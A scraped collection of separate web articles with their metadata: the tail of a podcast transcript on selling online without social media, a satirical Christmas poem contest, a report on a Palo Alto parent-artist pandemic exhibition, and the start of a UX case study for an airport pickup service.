Cause you know, they say that that’s the first step of an addiction. No shame. Right? I was addicted to social media. Totally. I honestly feel like almost every single entrepreneur can say, yeah, I was, or I am addicted to social media and that’s okay. Just let the little work on your heart. Okay. That’s a lot of work on your heart. You can still do social media. So beyond maybe going to be on it for fun, do it. And you can because you have the long-term strategy in place. You’ve committed to a six figure strategy. You’re not relying on social media anymore. What did that create more freedom. Oh, it just makes me so excited for you. Okay. We love, love, love walking our clients through this process. It’s so much fun and come join us. Come join us inside our free community. The six figure offer club off Facebook and get a taste of this for yourself.
(19:28):
Okay. All right. I hope that you are ready to sell online in 2021 without using social media. And just remember it starts with committing to a six-figure strategy. So come learn more about that inside our free community and then just know social media is still there and you can completely use it, but with freedom and ease and just when you feel like it, right, or you’ll have the foundation in place, you can hire out a management company and it’s not is going to be something you’re just going to try out is going to be something that, you know, you can do month after month after month because you have this six figure strategy in place. Okay. All right. If you got anything out of this, head over to our community and let us know and I will see you next time. Bye.
Get started building your 6-Figure, Christ-Centered business today! | https://medium.com/@sixfigureofferclub/how-to-sell-online-in-2021-without-relying-on-social-media-c5e104648e5b | ['Six Figure Offer Club'] | 2020-12-18 02:36:52.427000+00:00 | ['Business Strategy', 'Women In Business', 'Faith In God', 'Business Development'] |
’Twas the Night Before Christmas, 2020… | by Randy Gage
Posted By: Randy Gage / December 24, 2020
(With profuse apologies to the estate of Clement Clark Moore)
Back in the day, I used to write a satirical version of this childhood yuletide classic to my newsletter subscribers. Somewhere around the millennium, I moved it to the blog here and created a contest : I start it — you guys finish it. The results were brilliant. The creative genius of my readers is truly astounding. However, the last few years things were crazy, and I got away from the practice. But 2020 being the kind of year it was, there can be no better time to restart this sacred tradition.
The best submission will receive a signed limited first edition copy my upcoming book Radical Rebirth, personalized to them — not to mention, the fame and immortality bestowed by being declared the contest winner. (This competition is closely monitored annually by major publishers, the Pulitzer committee and Lithuania’s Got Talent.) The decisions of the judges (that would be moi, are final.) Here’s your set-up:
’Twas the night before Christmas, and down here in Miami;
Was reflecting on the year, sipping cocoa in my jammy.
The newscasts were dark, and the mood was depressing;
The pandemic was raging, and things were distressing.
The children were huddled snug in their beds;
While visions of ps5s danced in their heads;
Sleep eluded me, for my head it was aching;
Riddled with doubt, for the future we’re making.
When out on the street there arose such a ruckus
_________________________________________
Alright dear reader, the rest is up to you. Hit me with your best shot and post your submissions in the comments section below. Be epic, have some fun, and reflect the year. But please try to end on a note of positivity and hope, this is a prosperity blog after all. The winner will be announced on Monday.
Peace,
-RG
P.S. Here’s wishing you a joyous holiday season filled with peaceful socially distanced reunions, joyous Zoom meetings, and nonstop “Die Hard” movie viewings. LEGAL NOTICE: In light of the FTC regulations on bloggers, these wishes are subject to the following terms and conditions…
This greeting from Randy Gage (“Wishor”), to you (“Recipient”), is extended without obligation, implied or implicit, for best wishes for an environmentally conscious, socially responsible, politically woke, gender neutral celebration of the secular winter solstice only. Any similarities to holidays celebrating the festival of lights, God, or birth of the baby Jesus are purely coincidental.
This greeting may be accepted in the context of the traditions of the religious or secular beliefs of your choice, regardless of sexual orientation or operating system preference, and is void where prohibited by law. Acceptance by the recipient does not imply any endorsements or consent by the Wishor. The good tidings expressed in this greeting are subject to further clarification or withdrawal, are revocable at the sole discretion of the Wishor, and are non transferable.
The Wishor implies no guarantee of actual results. The extent of the holiday spirit experienced will be determined by the effort recipient puts into it. The claims described are for illustration purposes only. Your results may vary. This salutation is not intended to diagnose, treat, cure, or prevent any disease, and has not been evaluated by the Food and Drug Administration.
“Christmas” “God” and “Jesus” are registered trademarks of the Make America Great Again committee; all rights reserved. | https://medium.com/prosperity-success/twas-the-night-before-christmas-2020-c13d2c8c3ea4 | ['Randy Gage'] | 2020-12-24 17:50:42.151000+00:00 | ['Clement Clark Moore', 'Prosperity', 'Night Before Christmas'] |
Palo Alto art show channels parenthood (and Tiger King) to find meaning in quarantining | “I had the idea to see what we’re all doing right now in this really crazy time,” she said. “Sometimes it’s hard to find other parent artists because we’re so isolated.”
Mullery’s piece, “Mama?”, installed in the center of the gallery, consists of 19 concrete balls in various sizes and conditions, some suspended like moons and planets in an imagined galaxy, some cracked or misshapen, smashed upon the floor. Concrete as a material interests her, she said, because of its mix of strength and fragility. “Mama?” speaks to how the life “pause” caused by the global pandemic has revealed many hidden cracks and ruptures in U.S. society, from social injustice to the climate crisis, and how humans are seeking connection and resilience in hard times. The concrete balls also represent how she, as a parent, has felt more than ever the pressure to juggle aspects of her life, with the acknowledgement that many goals or plans may remain unfinished or broken; a mama bearing “the heaviness of it all.”
“Tiger King Bingewatch” is a quilt started by Alexandra Bailliere in the early days of the shelter-in-place order. (Photo by Karla Kane)
Bailliere, who called the original residency experience very meaningful for the opportunity it provided to connect with others who were juggling identities as parents and artists, has contributed three different projects to “Holding it Together.” “Tiger King Bingewatch,” with its titular nod to the popular Netflix documentary, is a hand-sewn “pandemic quilt,” started enthusiastically, Bailliere said, when she assumed the shelter-in-place order would only last for a few weeks. As it stretched on, the quilt expanded and “could continue to grow but may never be completed,” she said. Two large oil paintings were inspired by senior citizens she got to know while leading virtual art workshops, who impressed her with the way they were handling the loneliness and isolation with grace and dignity. And a series of small oil paintings represent her early attempt to complete one painting a day, a goal often “hijacked by something one or all of my three teenage sons did which took my attention away from the practice of completing these daily works,” including a skateboard crash resulting in a trip to the emergency room. These pieces, like several in the exhibition, exemplify what every parent knows: Trying to work while at home with children involves a whole lot of interruption.
During the 2018 residency, Mullery said the group members began referring to each other jokingly as “momrades” (mom comrades), with Trevor Tubelle as the sole “dadrade.” For “Holding it Together,” dadrade Tubelle has created a whole-wall installation representing a project titled “Quarantine Walk Drawings.”
“When the pandemic started, I was stuck at home with my family just like everyone else on the planet and I realized I would not be able to go to my studio to make art. So I needed to figure out how to not go insane from being around my kids day and night and to somehow keep my creative mind alive, not to mention keeping my body from falling apart from inactivity,” he said. In late March, he began going on walks around San Francisco, making quick drawings on small scraps of paper and leaving them on display in situ. By June, he had created 40.
“I’ve been visiting the drawings periodically to document how they fare over time in terms of weathering (sun, rain, wind) and other factors outside my control (e.g., graffiti and vandalism),” he explained. At the Art Center, Tubelle has drawn a map on the wall representing all the neighborhoods he visited on his walks (with wires radiating from a center nail, representing his home), along with photos of the drawings showing their changes over time, plus data on the dates and locations. As many of the drawings are still intact, he said, the project will continue.
Visitors to the Palo Alto Art Center are invited to turn their negative thoughts into a positive by feeding them to compost worms at the “Transformation Station,” created by artist Amy Hibbs. (Photo by Karla Kane)
For Hibbs, “2020 has been a year of extremes in my art-making practice. At times, I’ve been creatively immobilized for weeks while caring for my kids, homeschooling, or just plain worrying about the world,” she said. “But the lack of running around dropping kids off and picking them up has also unlocked some unexpected time during which I’ve deepened my practice.”
In “Holding It Together,” Hibbs’ works demonstrate how she’s found inspiration, naturally, from the world right outside her door. Her cyanotype prints are based on plant waste she’s photographed around her San Jose neighborhood. She’s also included one of her compost prints, in which she places a pile of compost from her home/yard on a piece of synthetic paper, “letting the process of decay mark the paper with inky organic patterns.”
Visitors to the exhibition have a chance to take part in another of Hibbs’ compost-centric works. Just inside the lobby sits the “Transformation Station,” where all are invited to write down or draw a negative thought or fear. These are shredded and added to an adjacent worm compost bin. They’ll be transformed by the worms into lifegiving fertilizer, to be spread around the Art Center’s grounds in the spring, literally turning negatives into positives. Fittingly, Hibbs worked in collaboration with her daughter on the project.
“My hope is that this piece is both cathartic and fun,” she said.
“Each One of Us Was Fastened to the Other” by Vanessa Woods is a photo collage reflecting a lack of boundaries between mother and children in close quarters. (Photo by Karla Kane)
The exhibition encompasses a variety of works in other media, including sculpture, photographic collage, video installation and more.
“Holding it Together” is the first show to be installed in the main gallery since winter (the Peninsula Photo Contest is currently installed in the smaller Glass Gallery). Art Center Director Karen Kienzle said the creation of this show, as well as the ability to physically reopen the gallery, has come as a pleasant surprise after the cancellation of the previously planned “Safe” exhibition, she said, adding that for the time being, the Art Center will err on the side of caution and open at 25% rather than the 50% capacity allowed by the county. She is also committed to each exhibition having a virtual presence, for those unable or uncomfortable coming to an in-person show, so a photo tour will be available on the center’s Flickr page.
In addition to feeding their worries and frustrations into the Transformation Station, community members are also invited to participate in the show by submitting photos of how their families are “holding it together” during these times (send via Instagram to @paloaltoartcenter, email to [email protected] or text 650–646–5344). These will be added to the gallery walls throughout the duration of the show, which runs until Dec. 12. The Art Center is open Tuesday-Saturday, from 10 a.m. to 5 p.m. More information is available at Palo Alto Art Center. | https://thesixfifty.com/palo-alto-art-show-channels-parenthood-tiger-king-to-find-meaning-in-quarantining-6acf7fa5c4d5 | ['The Six Fifty Staff'] | 2020-11-05 17:53:46.836000+00:00 | ['Bay Area', 'Parents', 'Silicon Valley', 'Parenthood', 'Artist'] |
How Welcome Pickups Grew 300% Year Over Year – a UX Case Study | The scope of work included User Experience, Interaction Design, and Interface Design.
What would you do if money were no object? I’m sure traveling the world would be somewhere on top of the list. But why do people love traveling so much? Before the agricultural revolution, humans were always moving around. There’s been quite a change of lifestyle since then, but the need to move around is still profoundly rooted in our biological apparatus.
By traveling, we get to learn about different cultures and gain new perspectives, which helps us to better understand the world around us. While travel can bring many benefits, not everything is pleasant.
The most annoying thing for me is getting from the airport to the accommodation of choice, not knowing what bus to take, or which side of the metro to stand. In places where there is no Uber, it’s even harder because I never know if the taxi driver is exploiting me by being a tourist.
Project and role overview
I remember one day looking at Angel List and seeing a product designer job posting from Welcome Pickups. Welcome Pickups strive to provide a relaxed, friendly, and personal travel experience. I fell in love with the product, and I decided to apply for a job which I eventually got.
My goal was to make the booking experience of our pickup service more delightful and frictionless as well as improve conversion rates.
The product has business to business as well as business to customer components. Welcome Pickups is first partnering with taxi and sightseeing companies (B2B), which then provide a service for travelers (B2C) through the platform.
Acquiring the right drivers
Our primary goal was to provide a friendly and straightforward travel experience for our users. That meant it was crucial for us to partner with the proper taxi drivers as they are an entry point of our service. For this reason, we handpicked every driver that applied through our online form. That ensured us to provide a high-end professional service. | https://medium.muz.li/welcome-pickups-case-study-3bb9f23ae49d | ['Marko Vuletič'] | 2021-02-22 10:41:46.643000+00:00 | ['UI', 'UX', 'Design', 'Prototyping', 'Sketch'] |
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